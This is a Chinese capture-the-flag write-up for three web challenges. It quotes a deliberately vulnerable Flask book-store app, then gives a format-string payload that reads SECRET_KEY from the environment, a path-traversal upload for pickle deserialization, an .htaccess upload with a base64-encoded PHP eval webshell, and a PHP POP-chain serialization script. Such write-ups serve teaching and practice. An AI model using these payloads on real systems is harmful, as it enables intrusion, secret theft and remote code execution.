[2023古剑山]WEB WP
摸🐟
easy_pickle
dirsearch扫出源码
# ! /usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = "JrXnm"
# Date: 19-6-10
from flask import Flask, request, \
session, g, redirect, url_for, \
abort, render_template, flash, \
render_template_string
import os
from settings import *
import pickle
import re
import traceback
app = Flask(__name__)
app.config.update(dict(
DATABASE='',
DEBUG=True,
SECRET_KEY=os.environ.get('SECRET_KEY'),
))
app.config.from_envvar('FLASKR_SETTINGS', silent=True)
class ErrorHandler():
def __init__(self):
self.notfound = "Oops! That page doesn't exist."
self.badreqyest = "Your Rquest We Could Not Understand"
@app.errorhandler(404)
def page_not_found(error):
template = '''
<div class="center-content error">
<h1>{error.notfound} !!!</h1>
<h2>''' + request.url + '''</h2>
</div>
'''
error = ErrorHandler()
return template.format(error=error), 404
def get_books(book_name=None):
if book_name:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
return book
except:
return None
else:
books = []
dirs = ['白夜行', '解忧杂货店', '旧日向晚', '围城', '小王子', '追风筝的人']
for book_name in dirs:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
except:
continue
books.append(book)
return books
def save_book(book_name, book_bio, book_img, book_price, book_num):
book = pickle.dumps((book_name, book_img, book_bio, book_price, book_num))
with open('./books/' + book_name, 'wb') as f:
f.write(book)
@app.route("/bookAdd", methods=['POST', 'GET'])
def upload():
if session.get('logged_in', None) and session.get('name', None) == 'admin':
if request.method == 'POST':
try:
book_name = request.form.get('book_name')
book_bio = request.form.get('book_bio')
book_price = int(request.form.get('book_price'))
book_num = int(request.form.get('book_num'))
f = request.files['myfile']
book_img = f.filename
save_book(book_name, book_bio, book_img, book_price, book_num)
f.save("./static/img/" + f.filename)
except Exception as e:
traceback.print_exc()
return "Something Wrong!!!"
return "Book Add Success"
else:
return render_template('tmpl/bookAdd.html')
return 'You are not login'
# 主页
@app.route('/')
@app.route('/index')
def index():
if session.get('logged_in', None):
name = session.get('name')
if name == 'admin':
return render_template('index.html')
else:
session['logged_in'] = 0
session['name'] = 'Anonymous'
msg = 'Please Login First, {} '
return render_template('index.html', msg=msg.format(session.get('name')))
@app.route('/bookDetail/<string:book_name>')
def book_detail(book_name):
book = get_books(book_name)
return render_template('tmpl/bookDetail.html', book=book)
@app.route('/backup')
def hint():
return open(__file__).read()
@app.route('/bookList')
def book_list():
books = get_books()
return render_template('tmpl/bookList.html', books=books)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8080)
@app.errorhandler(404)存在格式化字符串漏洞,用这个先读环境变量里的SECRET_KEY。error是这个环境中的一个对像,而这里也直接引入了os模块,所以直接在globals里面拿就行了。
/{error.__init__.__globals__[os].__dict__[environ]}

pickle反序列化。get_books里有pickle.load(f),/bookAdd可以写入文件。注意save_book写入的是一个元组,这是没法写入恶意类的。
但是这里对request.files['myfile']是直接写入的,而且没有对文件名称处理,因此可以目录穿越
f = request.files['myfile']
f.save("./static/img/" + f.filename)
这里可以覆盖./book/白夜行然后访问/bookList,或随便写一个访问/bookDetail/xxx。

弹个shell,拿到flag

另外也可以覆盖index.html,直接用模版执行代码。
upload_2_shell
使用XBM文件头,上传.htaccess。
#define width 1337
#define height 1337
AddType application/x-httpd-php .sky
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sky"
因为对文件内容过滤了<?,所以使用base64编码。
上传shell.sky,用'12'补足base64解码所需的8字节
GIF89a12
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3NreSddKTs/Pg==
成功getshell

unse
php伪协议读文件/index.php?fun=php://filter/read=convert.base64-encode/resource=test.php
cfun处可以令$tmp='flag'来读取$flag,构造pop链
<?php
class afun {
private $a;
public function __construct(){
$this->a = new bfun();
}
function __wakeup(){
$temp = $this->a . 'ctf';
}
}
class bfun {
private $items = array();
public function __construct(){
$this->items = array("dd"=>new cfun());
}
}
class cfun {
private $params;
public function __construct(){
$this->params = array("knife"=>"flag");
}
}
$a = new afun();
echo serialize($a);